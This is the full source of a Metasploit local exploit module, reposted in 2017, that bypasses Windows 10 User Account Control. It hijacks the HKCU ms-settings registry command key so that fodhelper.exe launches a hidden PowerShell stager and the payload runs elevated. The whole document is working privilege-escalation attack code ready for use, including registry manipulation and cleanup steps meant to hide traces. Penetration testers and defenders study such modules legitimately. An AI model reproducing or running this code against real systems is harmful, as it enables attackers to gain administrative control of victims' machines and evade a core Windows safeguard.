Windows UAC Protection Bypass (Via FodHelper Registry Key)
Posted on 08 June 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::Powershell include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas FODHELPER_DEL_KEY = "HKCU\Software\Classes\ms-settings".freeze FODHELPER_WRITE_KEY = "HKCU\Software\Classes\ms-settings\shell\open\command".freeze EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze EXEC_REG_VAL = ''.freeze # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze FODHELPER_PATH = "%WINDIR%\System32\fodhelper.exe".freeze CMD_MAX_LEN = 16383 def initialize(info = {}) super( update_info( info, 'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)', 'Description' => %q{ This module will bypass Windows 10 UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process. }, 'License' => MSF_LICENSE, 'Author' => [ 'winscriptingblog', # UAC bypass discovery and research 'amaloteaux', # MSF module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1' ] ], 'DisclosureDate' => 'May 12 2017' ) ) end def check if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit commspec = '%COMSPEC%' registry_view = REGISTRY_VIEW_NATIVE psh_path = "%WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe" # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 if session.arch == ARCH_X86 # fodhelper.exe is x64 only exe commspec = '%WINDIR%\Sysnative\cmd.exe' if target_arch.first == ARCH_X64 # We can't use absolute path here as # %WINDIR%\System32 is always converted into %WINDIR%\SysWOW64 from a x86 session psh_path = "powershell.exe" end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 psh_path = "%WINDIR%\SysWOW64\WindowsPowershell\v1.0\powershell.exe" end else # if we're on x86, we can't handle x64 payloads if target_arch.first == ARCH_X64 fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end end if !payload.arch.empty? && (payload.arch.first != target_arch.first) fail_with(Failure::BadConfig, 'payload and target should use the same architecture') end # Validate that we can actually do things before we bother # doing any more work check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end payload_value = rand_text_alpha(8) psh_path = expand_path(psh_path) template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) if psh_payload.length > CMD_MAX_LEN fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})") end psh_stager = ""IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? if existing.empty? registry_createkey(FODHELPER_WRITE_KEY, registry_view) end print_status("Configuring payload and stager registry keys ...") unless exist_delegate registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) end registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) # Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch. cmd_path = expand_path(commspec) cmd_args = expand_path("/c #{FODHELPER_PATH}") print_status("Executing payload: #{cmd_path} #{cmd_args}") # We can't use cmd_exec here because it blocks, waiting for a result. client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true }) # Wait a copule of seconds to give the payload a chance to fire before cleaning up # TODO: fix this up to use something smarter than a timeout? Rex::sleep(5) handler(client) print_status("Cleaining up registry keys ...") unless exist_delegate registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) end if existing.empty? registry_deletekey(FODHELPER_DEL_KEY, registry_view) else registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) end registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view) end def check_permissions! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end print_status('UAC is Enabled, checking level...') if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end